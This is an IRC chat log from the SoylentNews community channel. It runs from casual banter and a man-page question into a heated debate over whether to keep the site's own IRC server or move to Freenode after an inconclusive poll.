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[12:19:34] <Konomi> one is a server/client the other is just the client for the record ^^
[12:24:06] <MrBluze> hi Konomi btw
[12:24:10] <MrBluze> im about to head off
[12:24:16] <MrBluze> out of batteries, forgot charger
[12:27:52] <Konomi> heh never forget the charger ~
[12:29:19] <MrBluze> yeah
[12:29:23] <MrBluze> cant push start a laptop
[12:29:27] * MrBluze facepalms
[12:29:41] <MrBluze> means an early night i guess .. probably good for me
[12:30:19] <Konomi> ha
[12:30:32] <Konomi> I don't really subscribe to the whole good for you to avoid x technology stuff
[12:30:56] <Konomi> a friend showed me an article the other day "how smart phones ruin your relationship"
[12:31:08] <Konomi> I was like should read "how your behaviour ruins your relationship"
[12:33:14] <Konomi> though I'm still trying to find some physcial activity to mix with my computing time walking for the sake of it is kinda boring ;p
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[12:35:04] <Konomi> there goes the battery hehe
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[12:41:46] <Konomi> anyone happen to know how to quickly jump to man pages shown on a current man page under the section see also I keep googling but nothing
[12:42:14] <cmdr_FatPhil> crutchy: this is funnier: http://www.youtube.com
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[12:47:19] <crutchy> lmao he failed steve irwin 101
[12:49:41] * Konomi pouts at the linux manual
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[12:55:16] <crutchy> can you use catarl or alt
[12:55:23] <crutchy> or something likethat
[12:55:30] <crutchy> *opens term*
[12:56:58] <crutchy> doesn't seem that hard to just open a new term and man whatever you want to get to
[12:57:05] <crutchy> ?
[12:57:29] <crutchy> but i can't find anything that looks like a way to link to another man page
[12:57:41] <crutchy> links to websites look they they work
[12:57:50] <crutchy> but you're right about the related man pages
[12:58:20] <crutchy> just typed "man man"
[13:00:25] <crutchy> there's a --html option
[13:01:20] <Hedonismbot> [SoylentNews] - Tim Berners-Lee Proposes an Online Magna Carta - http://sylnt.us - eRunnymede
[13:05:07] <crutchy> bah i can't get the html option to work
[13:05:18] <crutchy> $ man --html=firefox hosts
[13:05:33] <crutchy> man: command exited with status 3: /usr/bin/zsoelim | /usr/lib/man-db/manconv -f UTF-8:ISO-8859-1 -t UTF-8//IGNORE | preconv -e UTF-8 | tbl | groff -mandoc -Thtml
[13:05:44] <crutchy> ^^^^ dunno wtf all this guff means
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[13:14:12] <cmdr_FatPhil> xman worked in the 90s
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[14:01:02] <CHALLNGEACCPTD> MOO
[14:06:39] CHALLNGEACCPTD is now known as C
[14:06:45] <C> ...
[14:08:05] C is now known as C-A
[14:08:07] <Subsentient> (void*)&C;
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[14:12:02] <cmdr_FatPhil> I see someone not very well suited to #irpg...
[14:13:03] * C_A_ is trying :(
[14:14:15] * C_A_ apologizes to Phil
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[15:41:22] <Hedonismbot> [SoylentNews] - ISS Expedition 38 Crew Home Safely - http://sylnt.us - i'm-coming-home
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[15:47:09] <NezSez> morning all
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[15:48:33] <Robotron> hey Nez
[15:49:09] <NezSez> hola retro gamer!
[15:49:14] <NezSez> :)
[15:49:38] <NezSez> that game was addictive I must say
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[16:24:14] <kobach> hi
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[16:32:17] <NezSez> hello kobach
[16:37:04] <Robotron> I was more a jetpack player, but since jetpacks are up there with flying cars as the most notorious of vapor technologies...who wants them as a handle?
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[16:42:07] <Hedonismbot> [SoylentNews] - Warrantless Cell Phone Searches - SCOTUS to Decide - http://sylnt.us - Guess-which-way-this-will-go
[16:44:13] <kobach> LOL
[16:44:23] <kobach> "Guess-which-way-this-will-go" COULDNT SUM IT UP BETTER
[16:44:39] <nobbis> lol
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[16:59:45] <SoyYak> moo?
[17:01:16] LaminatorX is now known as LaminatorX|afk
[17:01:31] robind is now known as SoyBison
[17:01:34] <SoyBison> moo
[17:02:40] <kobach> ^5 for bison, not the african animal, the buffalo
[17:02:46] * NezSez considers nick change to SoyCarabao
[17:04:00] -!- SoyYak has quit [Ping timeout: 246 seconds]
[17:04:04] <kobach> lol
[17:04:10] <NezSez> SoyWildebeest maybe?
[17:04:14] <kobach> bacon = cooking
[17:04:21] -!- Brylarke has quit [Ping timeout: 246 seconds]
[17:04:27] <kobach> cereal = after bacon
[17:04:33] FatPhil is now known as FP_test
[17:05:13] <nobbis> otherwise it would be parallel
[17:05:31] <NezSez> bison burgers are oishiidesu!
[17:06:01] <SoyBison> obligatory: https://xkcd.com
[17:06:07] * NezSez ponders "SoyGnu"
[17:06:13] FP_test is now known as FP_test2
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[17:08:04] * NezSez ponders a camelCased soyCamel
[17:08:32] <kobach> bison burgers are great, but i still prefer the much more versatile pork
[17:08:52] <NezSez> I tried an ostrich burger at Fuddruckers a few months ago
[17:08:56] <SoyBison> half pork half beef is the way to go
[17:09:03] <NezSez> and yes, it tasted like chicken :)
[17:09:30] <kobach> i dunno if you can mix the two, when you cook pork crispy its a meaty pork rind, cook beef crispy and its a hockey puck
[17:09:41] <SoyBison> tell that to an italian meatball
[17:09:42] <NezSez> lol
[17:09:54] <NezSez> SoyBacon ?
[17:09:56] <kobach> ive never seen somebody make crispy meatballs
[17:10:09] <kobach> sounds delicious
[17:10:24] <SoyBison> it's traditional italian cuisine
[17:10:33] <NezSez> you could cook meatballs normally, then broil them :)
[17:10:37] <SoyBison> works equally well for burgers....you just flatten it out and stick it between some bread
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[17:19:18] <NezSez> SoyLentils ?
[17:20:45] <Landon> who has phantomcode?
[17:21:06] <Landon> oh nvm, ancientt
[17:21:32] <Landon> amusing that you put my (never updated) blog with the slashdot alternatives :P
[17:24:04] <kobach> good morning Landon
[17:24:21] -!- NezSez [NezSez!~4c7061d7@j-78-064-32-800.hsd3.mi.comcast.net] has parted #Soylent
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[17:31:12] <xyzzy> Hello, I found a news mention http://squte.com
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[17:33:50] <gishzida> nice to see everone has a life
[17:34:02] <mattie_p> nope, no life, just the site
[17:34:57] <gishzida> well it was so quiet... I guess we have reduced our drama quotient
[17:35:43] -!- ArhcAngel [ArhcAngel!~636739fd@53-817-73-279.lightspeed.hstntx.sbcglobal.net] has joined #Soylent
[17:36:29] <mattie_p> xyzzy that could actually make an interesting article/story. Do you want to submit as the finder?
[17:36:39] <mattie_p> I frankly don't have the time to do so.
[17:36:55] <xyzzy> sure!
[17:37:02] <mattie_p> include link to http://avantslash.org
[17:37:06] <kobach> bacon++
[17:37:06] <Hedonismbot> karma - bacon: 159
[17:37:13] <kobach> its here
[17:37:14] <mattie_p> since they support us as well
[17:37:22] * kobach hands mattie_p a slice of bacon
[17:37:59] * mattie_p hands kobach a slice of bacon pie
[17:38:07] <kobach> mmmm
[17:38:15] <kobach> never had
[17:38:24] <mattie_p> bacon++ #it goes in and with everything
[17:38:24] <Hedonismbot> karma - bacon: 160
[17:38:36] <kobach> cannabacon
[17:38:40] <mattie_p> never had either, but the slice seemed to indicate pie to me
[17:38:56] <kobach> do they have cannabacon in CO yet
[17:39:01] <mattie_p> friday is 3/14, aka pi day. Maybe I'll celebrate by inventing bacon pie
[17:39:13] <kobach> do it
[17:39:14] <mattie_p> koback I haven't seen that marketed, mostly just brownies or such
[17:39:41] <kobach> brb, business scheme w/ cannabacon
[17:39:46] <kobach> lol
[17:39:55] <GungnirSniper> We should do something on the site for Pi day. Change the logo for the day, a la Google?
[17:40:01] <kobach> ^
[17:40:23] <mattie_p> SoylentNews is 3.14 people?
[17:40:27] <xyzzy> 'check availability' on create account at http://soylentnews.org is not working. known issue?
[17:40:38] <mattie_p> xyzzy yup, known
[17:40:45] <xyzzy> drat / ok
[17:40:59] <mattie_p> !suggestion change site logo on Friday 3/14 in celebration of pi day.
[17:41:01] <Hedonismbot> Suggestion sent!
[17:41:45] <nobbis> mmm... Soylent pie
[17:42:55] <xyzzy> nobbis: you cannibal
[17:43:14] <nobbis> he he he
[17:43:30] <gishzida> Chicken Pot Pie... from Colorado
[17:45:04] <xyzzy> mattie_p I seem to have null registered as ID 3157 but got no email :/ it threw an error ( which I didn't quite grasp was an error til I cleared it )
[17:45:19] <mattie_p> let me check
[17:45:26] <xyzzy> k thx
[17:46:12] <mattie_p> your email addres in the form of c@sm.org?
[17:46:36] <kobach> brb
[17:46:37] <xyzzy> oops no, that means I'm too late for that nick
[17:47:02] <xyzzy> thanks for checking
[17:47:06] <mattie_p> I mean, that's not your exact email address just c____@S____-M____.org
[17:47:24] <xyzzy> no mine was p_____@gmail
[17:47:28] <mattie_p> ahh, ok
[17:47:32] -!- BigBez has quit [Read error: Connection reset by peer]
[17:47:38] <mattie_p> just register again, then
[17:47:45] <xyzzy> yes, I shall
[17:49:48] xyzzy is now known as xyzzyyzzyx
[17:49:52] <xyzzyyzzyx> there
[17:51:30] <mattie_p> excellent
[17:51:36] <mattie_p> !current-uid
[17:51:36] <Hedonismbot> The current maximum UID is 3799, owned by xyzzyyzzyx
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[18:03:19] <kobach> test
[18:04:33] LaminatorX|afk is now known as LaminatorX
[18:04:46] -!- SedBot [SedBot!~SedBot@github.com/FoobarBazbot/sedbot] has joined #Soylent
[18:04:49] <Hedonismbot> [fmcd] is search broken on youtube?
[18:07:21] -!- GungnirSniper has quit [Ping timeout: 246 seconds]
[18:07:36] <kobach> wb LaminatorX
[18:07:44] <kobach> fmcd: no
[18:10:09] <LaminatorX> Yo.
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[18:21:18] * xyzzyyzzyx finally submitted something
[18:21:22] <Hedonismbot> [SoylentNews] - Learn Physics for Free at WSU - http://sylnt.us - yer-always-nede-educayshun
[18:21:59] <Hedonismbot> [poutine] fmcd, check twitter
[18:22:08] <Hedonismbot> [poutine] but yes, everyone is experiencing issues
[18:22:20] <Hedonismbot> [poutine] https://twitter.com
[18:22:45] <LaminatorX> .op
[18:22:45] -!- mode/#Soylent [+o LaminatorX] by BaconTree
[18:23:21] LaminatorX is now known as cmdr_LaminatorX
[18:23:48] <Hedonismbot> [poutine] so prospectable bought the site eh
[18:23:53] <Hedonismbot> [poutine] prospectacle
[18:24:16] <cmdr_LaminatorX> Prospectacle?
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[18:35:40] <xyzzyyzzyx> poutine--
[18:35:40] <Hedonismbot> karma - poutine: -291
[18:38:33] <xyzzyyzzyx> !current-uid
[18:38:33] <Hedonismbot> The current maximum UID is 3801, owned by hochl
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[18:55:16] <cmdr_LaminatorX> In casy anyone hasn't noticed, the current poll topic is the continuance of the SN-hosted IRC services, vs just using Freenode. I thought I'd give it a shoutout here, since the folks on IRC are the ones most likely to care one way or the other. http://soylentnews.org
[18:58:43] <_dx3bydt3> I wonder what the channel operators prefer, as a user I don't see much difference one way or the other.
[19:00:22] <cmdr_LaminatorX> There has been talk of integrating signons with the main site if we keep hosting ourselves, but there's something to be said for focussing our efforts elsewhere too.
[19:05:24] <_dx3bydt3> I can't imagine it puts any significant strain on the servers as is, aside from integration is there much effort required in maintaining an IRC server?
[19:05:26] -!- harmless has quit [Quit: Computer has gone to sleep.]
[19:06:07] * xyzzyyzzyx begs against all hope that things are kept independent since freenode is blocked in many work and public access firewall policies
[19:06:23] <kobach> well theres your argument right there
[19:07:03] xyzzyyzzyx is now known as xyzzyyzzyx_afk
[19:07:21] <cmdr_LaminatorX> If "use Freenode" nets a plurality, yet not a majority, we'll have to weigh that carefully.
[19:22:45] <Hedonismbot> [Popsikle-Work] the real question regarding support of the irc server is at 4am if it goes down does someone want to be woekn up or poked to fix it?
[19:22:59] <Hedonismbot> [Popsikle-Work] and if they are fixing that, what arent they doing
[19:23:18] -!- FrogBlast_Away has quit [Ping timeout: 246 seconds]
[19:24:43] xyzzyyzzyx_afk is now known as xyzzyyxxyx
[19:26:13] <Hedonismbot> [Popsikle-Work] also, why is there no ops listed on the team page? http://wiki.soylentnews.org is that combined with dev?
[19:26:24] <xyzzyyxxyx> "Tyranny of the Plurality" :P
[19:27:54] paulej72_AFK is now known as paulej72
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[19:31:16] <Cyprus> The better question is, if the site is down due to packety death prior to CDNification, do we want IRC to fate share?
[19:34:58] <xyzzyyxxyx> freenode is always a failover?
[19:35:29] -!- thephred [thephred!~42bd9341@01-729-237-24.dhcp.mdfd.or.charter.com] has joined #Soylent
[19:35:38] <xyzzyyxxyx> forgive my lack of DNS pointing-research
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[19:38:44] <kobach> in other news,
[19:38:46] <kobach> bacon++
[19:38:46] <Hedonismbot> karma - bacon: 161
[19:38:48] <kobach> poutine--
[19:38:48] <Hedonismbot> karma - poutine: -292
[19:39:52] <Hedonismbot> [poutine] The majority has spoken for freenode
[19:40:08] <Hedonismbot> [poutine] not for these stupid half baked ideas about single sign on that nobody will use/care about
[19:40:20] <xyzzyyxxyx> poutine--
[19:40:20] <Hedonismbot> karma - poutine: -293
[19:40:29] <Cyprus> poutine: Tell us how you really feel
[19:40:32] <robind> yeah SSO seems pointless
[19:40:41] * Cyprus agrees
[19:41:04] <robind> but just for fun: poutine--
[19:41:17] <robind> aw why did nothing happen
[19:41:23] <robind> guess it has to be on a line by itself
[19:41:28] <xyzzyyxxyx> Colon Trouble
[19:41:29] * Cyprus chuckles
[19:41:46] <nobbis> and what about people that can't access it from work ?
[19:42:00] <xyzzyyxxyx> ^ or the school library
[19:42:06] <Cyprus> perhaps you're looking for a technical solution to a non technical problem
[19:42:12] <xyzzyyxxyx> Starbucks, internet cafe
[19:42:33] <nobbis> well there is a solution
[19:42:36] <Cyprus> web chat clients do exist for that
[19:42:41] -!- harmless [harmless!~harmless@n6x25794.dyn.telefonica.de] has joined #Soylent
[19:42:48] <_NSAKEY> Cyprus: You could use IRC from a cheap VPS, assuming your workplace doesn't block SSH traffic.
[19:43:10] <Cyprus> for reference, this connection is via SSH tunnel =)
[19:43:12] <kobach> and theres _NSAKEY's input for the next week and a half
[19:43:22] <kobach> :)
[19:43:28] <xyzzyyxxyx> if the barrier is too high, the consumer won't hurdle
[19:43:42] <xyzzyyxxyx> +barrier to entry
[19:43:58] <Cyprus> It's IRC, the barrier is already high
[19:45:06] <xyzzyyxxyx> any schmuck can be a SoyCow (sorry SoyCows) if they can click 'OK'
[19:45:08] <Cyprus> I haven't logged in to IRC since the days of UUCP except for niche uses like this or guild chat of some kind
[19:45:51] <xyzzyyxxyx> if you WANT a barrier to entry, then that's OK too I guess. Food for geeks, etc.
[19:46:12] <cmdr_LaminatorX> I'm somewhat on the fence. If we had a solid majority, I'd say pull the plug, but I question shutting some people out of access over a plurality whose margin is fewer votes than the "Don't Care" option.
[19:47:24] <kobach> weather request, Vostok, Antarctica (78.4°S/106.9°E), Updated: 12:00 AM VOST (March 13, 2014), Conditions: Fog, Temperature: -85°F (-65°C), High/Low: -65/-80°F (-53.9/-62.2°C), Humidity: 30%, Dew Point: -93°F (-69.4°C), Wind: West at 12 MPH (18 KPH)
[19:47:55] <drussell> That's too cold! Brrrrr....
[19:48:18] <xyzzyyxxyx> Don't Care / don't use is a vote to not change, in some respects
[19:48:36] <drussell> I also love that the low is higher than the current temperature :)
[19:49:07] <kobach> lol
[19:49:20] <_dx3bydt3> from the poll results page "This whole thing is wildly inaccurate. Rounding errors, ballot stuffers, dynamic IPs, firewalls. If you're using these numbers to do anything important, you're insane."
[19:49:22] <kobach> i dont think they have real forecasters down there, its just computer generated probably
[19:49:30] <Cyprus> is intertia a good reason to maintain an island service of something publically provided and the administrative overhead that entails?
[19:49:39] <kobach> _dx3bydt3: thats always been my opinion
[19:50:00] <Cyprus> I mean personally I don't really care either way
[19:50:14] <xyzzyyxxyx> Cyprus: tell that to the Irish RE: freedom
[19:50:30] <xyzzyyxxyx> ;)
[19:50:48] <nobbis> what are the advantages to moving back ?
[19:50:48] <Cyprus> lol
[19:52:08] -!- harmless has quit [Quit: Lingo - http://www.lingoirc.com]
[19:52:10] <FatPhil> IRC location = bikeshed colour
[19:52:30] <xyzzyyxxyx> nobbis: pro, assumedly less possible downtime con, its a bigger target to 'take down' con, if it breaks, you sit on your hands
[19:52:58] <xyzzyyxxyx> pro, if it breaks, you sit on your hands
[19:53:18] <Cyprus> never underestimate the benifits of blaming external services for issues =)
[19:53:48] <xyzzyyxxyx> Cyprus: non-religious Amen to that
[19:54:21] <Cyprus> that said, if the site is up, its much easier to redirect a broken irc temporarily
[19:55:12] <xyzzyyxxyx> soy site?
[19:55:41] <Cyprus> i mean really its not a huge deal either way
[19:55:48] <Cyprus> hence my not really caring
[19:55:55] * xyzzyyxxyx nods
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[19:56:41] <xyzzyyxxyx> good riddance, 6647, you sucked udders anyway
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[19:57:12] <Hedonismbot> [poutine] If your work actively blocks your IRC connections, you should not be IRCing at work...
[19:57:16] <Hedonismbot> [poutine] it's not a real problem
[19:57:20] <xyzzyyxxyx> welcome, 6666, the Sign of the...Beast
[19:57:44] _dx3bydt3 is now known as dx3bydt3
[19:58:06] <Hedonismbot> [poutine] I'm sure your sysadmins like the fact that you're exploiting that they use a blacklist rather than a whitelist
[19:58:17] <xyzzyyxxyx> poutine: some places paint with a broad brush
[19:58:29] <Hedonismbot> [poutine] It's their business to do so...
[19:58:32] <xyzzyyxxyx> poutine: I am a sysadmin, you insensitive clod
[19:58:33] <Hedonismbot> [poutine] why is that a SN problem?
[19:59:05] <xyzzyyxxyx> SN made it a community question
[19:59:13] <Hedonismbot> [poutine] and the community spoke
[19:59:16] <nobbis> it isnt a problem if we stay on here
[19:59:19] <Hedonismbot> [poutine] freenode won
[19:59:30] <Hedonismbot> [poutine] are you guys going to ignore that?
[19:59:42] -!- EvilRoey has quit [Ping timeout: 246 seconds]
[20:00:07] -!- FoobarBazbot_ has quit [Quit: FoobarBazbot_]
[20:00:24] <nobbis> but i agree that freenode is winning so...
[20:00:31] <dx3bydt3> poutine--
[20:00:32] <Hedonismbot> karma - poutine: -294
[20:00:38] <Hedonismbot> [SoylentNews] - Candy Crush Proved to be NP-Hard - http://sylnt.us - so-my-childhood-wasn't-wasted
[20:00:41] <dx3bydt3> will that still work on freenode?
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[20:01:14] <cmdr_LaminatorX> If 35% can be considered a "win."
[20:01:58] <cmdr_LaminatorX> It would be good to know just how many people would be subject to blockage.
[20:02:19] <Hedonismbot> [poutine] 35% is not a win in an 8 answer poll, with the closest with only ~1/2 the amount of votes?
[20:02:21] <xyzzyyxxyx> it's funny, the participation incoming from freenode is much, much less than those originating natively on sylnt.us - which IMHO is not an immaterial statistic
[20:02:59] <xyzzyyxxyx> so you can't answer 'who would be blocked' until the default is freenode
[20:03:02] -!- Tachyon__ has quit [Read error: Connection reset by peer]
[20:03:05] <Hedonismbot> [poutine] If you consider it a non-important group of people to ask, why did you ask it at all? You're just finding ways to dismiss people clearly being against the idea of soylent being spread out across protocols
[20:03:15] <Hedonismbot> [poutine] being blocked is not a SN problem
[20:03:33] <xyzzyyxxyx> poutine: being inclusive, however, is
[20:03:40] -!- Tachyon__ [Tachyon__!~Tachyon@xuco.me] has joined #Soylent
[20:03:42] <nobbis> ^
[20:04:08] <FoobarBazbot> xyzzyyxxyx: well, as to participation, /me aren't echoed across, nick colorization only works in the local channel, etc.
[20:04:33] <Hedonismbot> [poutine] there's a limit to relay bots also
[20:04:40] <Hedonismbot> [poutine] we're all limited by sendq
[20:04:46] <paulej72> The questions asked in a poll will have an effect on the outcome. We may have a severe bias built into our questions.
[20:04:51] <Hedonismbot> [poutine] conversations of a busy channel exceed sendq for a single client
[20:04:52] <FoobarBazbot> So people who prefer freenode, but are willing to connect to a separate net, are better off hanging here where most users are.
[20:05:14] <Hedonismbot> [poutine] Why ask soylentnews if you're just going to throw away their decision?
[20:05:18] <Hedonismbot> [poutine] that's retarded
[20:05:23] <Hedonismbot> [poutine] and why this site is going to fail
[20:05:31] <xyzzyyxxyx> input < > decision
[20:05:47] <Hedonismbot> [poutine] community input = community decision
[20:05:49] <Cyprus> This makes me think of that "jump to conclusions" mat from Office Space
[20:06:18] <paulej72> poutine I never said to throw out the poll, I suggest redoing it with out the biased wording of the questions.
[20:06:18] <FoobarBazbot> poutine: I'm sure you know this, but _if_ the poll had come back 90%=freenode, 5%=separate, and the rest smattered amongst the don't care options, we wouldn't be having this conversation.
[20:06:25] <kobach> poutine = jump to conclusions mat
[20:06:31] <xyzzyyxxyx> Someone took poutine's red stapler?
[20:06:36] -!- DNied [DNied!~zvz@3-930-986-569.v7.ngi.it] has parted #Soylent
[20:06:39] <kobach> poutine--
[20:06:39] <Hedonismbot> karma - poutine: -295
[20:06:55] <nobbis> i dont agree with the decision, but there is a majority, to take the 21% option is wrong
[20:07:04] <FoobarBazbot> But when the poll _doesn't_ show a real consensus, there's a very good argument for _not_ simply following the plurality.
[20:07:23] <Hedonismbot> [poutine] It shows majority opinion
[20:07:28] <FoobarBazbot> nobbis: do you fail at math, or do you not understand what "majority" means?
[20:07:32] -!- Tachyon__ has quit [Read error: Connection reset by peer]
[20:07:41] <Cyprus> Alternately, just let the sysadmins decide as professionals what they deem is the best path forward for the organization
[20:07:43] <FoobarBazbot> Majority = over 50%
[20:07:47] <dx3bydt3> 64% don't wish to use freenode
[20:07:49] <FoobarBazbot> We don't have that.
[20:07:51] <paulej72> We need another pool with a simple yes no option no clever wording.
[20:07:51] <nobbis> FoobarBazbot: ok but the 35% is winning
[20:08:11] <nobbis> it will look bad
[20:08:11] -!- Tachyon [Tachyon!~Tachyon@xuco.me] has joined #Soylent
[20:08:13] <Hedonismbot> [poutine] in a 2 variable system, yes, majority is 50%
[20:08:17] <Hedonismbot> [poutine] you guys are retarded
[20:08:30] <Cyprus> I mean it's irc, it's not that hard to change later if there are issues
[20:08:34] <paulej72> call it a run off vote
[20:08:37] <Hedonismbot> [poutine] 2 option
[20:09:29] <Hedonismbot> [poutine] the majority of voters agree that soylentnews has NO business/benefit getting into the IRC network game, and wants to use a widely available, widely used network (~100k users versus SN's ~100)
[20:09:42] <Hedonismbot> [poutine] ignore it as you see fit, but those are the facts
[20:10:38] <cmdr_LaminatorX> The word you're looking for is "plurality," poutine. Which is not to be ignored, but represents less of a mandate than a majority would.
[20:11:21] <FatPhil> poutine--
[20:11:21] <Hedonismbot> karma - poutine: -296
[20:11:25] <xyzzyyxxyx> poutine: are all voters chat users? or do they just see a shiny identifiable name they know and say 'looks good, I know that thing'
[20:11:48] <Hedonismbot> [poutine] keep ignoring your community, this is why SN failed version 1.0 (Barabbas/NCommander)
[20:12:02] <nobbis> the poll should have made it clear, i dont like the decision but this will look like a fix
[20:12:06] <FatPhil> and you must remember, everyone who voted for IRPG, me, my g/f, my mum, my sister, and my dog, all voted for a SN network too!
[20:12:24] <Hedonismbot> [poutine] afaik, NCommander isn't even committing to the github repo anywhere
[20:12:26] <Hedonismbot> [poutine] any more
[20:12:34] <Hedonismbot> [poutine] where is the site's developer(s)?
[20:12:51] <FatPhil> OMG, you mean while he's on holiday he's not working? What a baaaastard
[20:12:52] <kobach> busy not watching you babble on freenode
[20:12:56] <FatPhil> poutine--
[20:12:56] <Hedonismbot> karma - poutine: -297
[20:12:56] <FatPhil> poutine--
[20:12:57] <dx3bydt3> poutine--
[20:12:57] <Hedonismbot> karma - poutine: -298
[20:13:00] <Hedonismbot> karma - poutine: -299
[20:13:01] <kobach> poutine--
[20:13:01] <Hedonismbot> karma - poutine: -300
[20:13:05] <xyzzyyxxyx> poutine--
[20:13:05] <Hedonismbot> karma - poutine: -301
[20:13:09] <FatPhil> fkn dipshit
[20:13:13] <Cyprus> For todays incoherent rant, brought to you by....
[20:13:44] <paulej72> poutine the github repo is at https://github.com and Ncommander is updating it
[20:13:54] <Hedonismbot> [poutine] paulej72, yeah, click "commits"
[20:13:58] <Hedonismbot> [poutine] and tell me he's still updating it
[20:14:05] <Hedonismbot> [poutine] I know how to use github tyvm
[20:15:05] <paulej72> so we are not commiting willy nilly poutine. My commits that are in the queue have some very sbstantial UI changes that need to be singed off by more than Just myself or Ncommander
[20:15:30] <FatPhil> we do not need to justify ourselved to poutine. He's trolling us.
[20:15:36] <xyzzyyxxyx> ^
[20:15:36] <Hedonismbot> [poutine] last commit was over 9 days ago paulej72
[20:15:45] <Hedonismbot> [poutine] 9 days is an eternity in the development world
[20:15:56] <kobach> what a shitty world you live in
[20:16:04] <xyzzyyxxyx> there will always be poutine's, seeding doubt with the populace
[20:16:05] <paulej72> FatPhil I know that I just fell like feeding the troll today. I am rather generous :)
[20:16:05] <Hedonismbot> [poutine] https://github.com <- This is what has been done in the past fortnight
[20:16:12] <cmdr_LaminatorX> Poutine makes a good point about what message overruling the leading result would send though. I think we really need to get a handle on how many would be negatively affected by switching to freenode though. If it is a large number, that might weigh against the plurality result. Hard to say.
[20:16:14] <Hedonismbot> [poutine] hardly "substantial changes"
[20:16:29] <kobach> paulej72: its almost as fun as eating bacon isnt it?
[20:16:33] <FoobarBazbot> nobbis: it depends how it's handled, of course, and you're correct that that's a perception we need to avoid. but I don't think it necessarily will look like a fix to not immediately bow to the plurality. I think the community understands that polls are a tool for showing that we have a consensus.
[20:17:01] <Hedonismbot> [poutine] Nobody has yet to offer an explanation of what benefit SN has by running its own IRC network
[20:17:08] <paulej72> cmdr_LaminatorX we relly should have a run off vote with just two questions: yes no. No fancy wording that could bias the vote
[20:17:16] <xyzzyyxxyx> so switch for 24-48hrs to freenode and check the population drop or rise
[20:17:25] <cmdr_LaminatorX> It's easy to dismiss poutine because of his combattively pessemistic style, which I wish he would curb, but he's also right more often than he's wrong.
[20:17:27] <Hedonismbot> [poutine] knowing how prone to DDoS attacks they are, and the fact that there's many that already exist, with nearly 100k users and backup infrastructure that makes SN look like a toy
[20:17:27] <xyzzyyxxyx> that tells you your rate of loss
[20:17:52] <Hedonismbot> [poutine] no it doesn't
[20:17:55] <paulej72> poutine by running our own network we controll the access, the cloack, the channels. we are not beholden to anther group to do it
[20:18:01] <FatPhil> poutine: we can administer the server ourselves. we can be ircops. 2 concrete benefits.
[20:18:07] <kobach> hmm 27 people on freenode
[20:18:08] <Hedonismbot> [poutine] that is hardly a scientific method for determining acceptance xyzzyyyxxyx
[20:18:09] <kobach> 97 people here
[20:18:11] * xyzzyyxxyx notes that the poutine's of the world often contain kernels of truth wrapped in bloodshed
[20:18:11] <kobach> interesting
[20:18:13] <FatPhil> cloak - 3 benefits
[20:18:16] <kobach> and all the staff are here also
[20:18:16] <Hedonismbot> [poutine] 100k people on freenode kobach
[20:18:16] <nobbis> i voted against Freenode, but i'm worried how this will be seen
[20:18:17] <FoobarBazbot> If the poll shows there is no consensus (as I believe this one does), I think the community will be receptive to an approach of communicating what the alternatives are, what the advantages/disadvantages will be, and giving space for discussion, then repolloing later.
[20:18:26] <kobach> nobody gives 2 fucks about the size of the network
[20:18:27] <FatPhil> ability to patch chghost handlign - 4 benefits
[20:18:30] <kobach> shut up poutine lol
[20:18:41] <FatPhil> poutine--
[20:18:41] <Hedonismbot> karma - poutine: -302
[20:18:43] <FatPhil> poutine--
[20:18:43] <Hedonismbot> karma - poutine: -303
[20:18:53] <kobach> dumb fucking 12 year old
[20:18:56] <Hedonismbot> [poutine] Remember when Barrabas said he'd make $10 million USD from SN, and I kept parading that fact? I will do the same if you guys overrule community feedback that you asked for
[20:19:04] <Hedonismbot> [poutine] that's just what slashdot did when we said no to beta
[20:19:11] <xyzzyyxxyx> Phil used KarmaStomp
[20:19:22] <FatPhil> dunno karmastomp
[20:19:34] <nobbis> poutine has a point
[20:19:46] <Ingar> does SN IRC have SSL ?
[20:19:55] <paulej72> it has sasl
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[20:19:56] <FoobarBazbot> (That said, I thing there's a community feeling that we're having too much about ourselves on the front page, so maybe a front-page post isn't the best way to handle that communication... not sure.)
[20:20:13] <janrinok> poutine: so from your threat your only aim is to ensure that SN doesn't succeed, so that you can say "I told you all so"?
[20:20:16] <xyzzyyxxyx> secondarily are the logs cloaked in norobots.txt ?
[20:20:17] <Hedonismbot> [poutine] how about get rid of the useless 'FAQ' link and make it 'IRC' and lead them to freenode
[20:20:35] <FatPhil> there's a poll for discussion on the subject now, and an IRC channel for discussion on the subject at any later point
[20:20:50] <FoobarBazbot> xyzzyyxxyx: is that desirable?
[20:20:52] <FatPhil> Me, I think this is a total bikeshed issue.
[20:20:52] <Hedonismbot> [poutine] that's dumb, I'm not joining your stupid network to discuss moving OFF the network
[20:21:03] <Hedonismbot> [poutine] the community has spoken
[20:21:05] <Hedonismbot> [poutine] freenode won
[20:21:16] * FoobarBazbot would like to search the logs sometimes.
[20:21:17] <Hedonismbot> [poutine] ignore that and you're no better than DICE
[20:21:35] <Cyprus> and there's the Godwin of slashcott
[20:21:45] <Cyprus> Do X or you're DICE
[20:21:45] <FatPhil> poutine: you're the one who is dumb - have you not noticed that you're discussing it already, and yet are not on our network
[20:21:49] <FatPhil> poutine--
[20:21:49] <Hedonismbot> karma - poutine: -304
[20:21:49] <FatPhil> poutine--
[20:21:53] <Hedonismbot> karma - poutine: -305
[20:22:13] <xyzzyyxxyx> FoobarBazbot: I actually went by another name I am well-known by, but then realized the logs might be Googleable, so I made a change, since I just don't like such in general
[20:22:16] <FoobarBazbot> Though I guess if we (eventually) have our own search engine running, that handles that, but for now the ability to google site:irc.sylnt.us foobar seems ok
[20:22:44] <xyzzyyxxyx> so to myself it is now a null issue / question
[20:23:20] <Hedonismbot> [poutine] You guys are incompetent, how difficult is it to have a search engine? Doesn't anyone know how to SolrCloud w/ Apache ZooKeeper to index and search your documents bro?
[20:23:51] <xyzzyyxxyx> Cyprus: Godwin always wins the day
[20:25:01] <nobbis> moving to freenode wins the day
[20:25:25] <nobbis> according to the community
[20:25:45] <Hedonismbot> [poutine] nobbis why does SN need its own IRC network?
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[20:26:25] <nobbis> i'm not bothered either way, i'm more concerned about ignoring the poll result
[20:26:47] <FatPhil> "there's no need to change" > "please change"
[20:26:52] <FatPhil> that's what the poll says
[20:27:11] <Hedonismbot> [poutine] "freenode" > "Soylentnews's dumb irc network"
[20:27:14] <xyzzyyxxyx> regarding voting in general, IMHO most pick what they know, whether by name or phrase, thus multiple Bush's & Clinton's -_-
[20:27:15] <Hedonismbot> [poutine] is what the poll says
[20:27:37] <Hedonismbot> [poutine] These are things you should think about BEFORE running a poll and asking for community feedback xyzzyyxxyx
[20:27:55] <Hedonismbot> [poutine] looks really bad when after you don't get the result you wanted, you discredit your own means for gathering information
[20:27:58] <cmdr_LaminatorX> ^^^
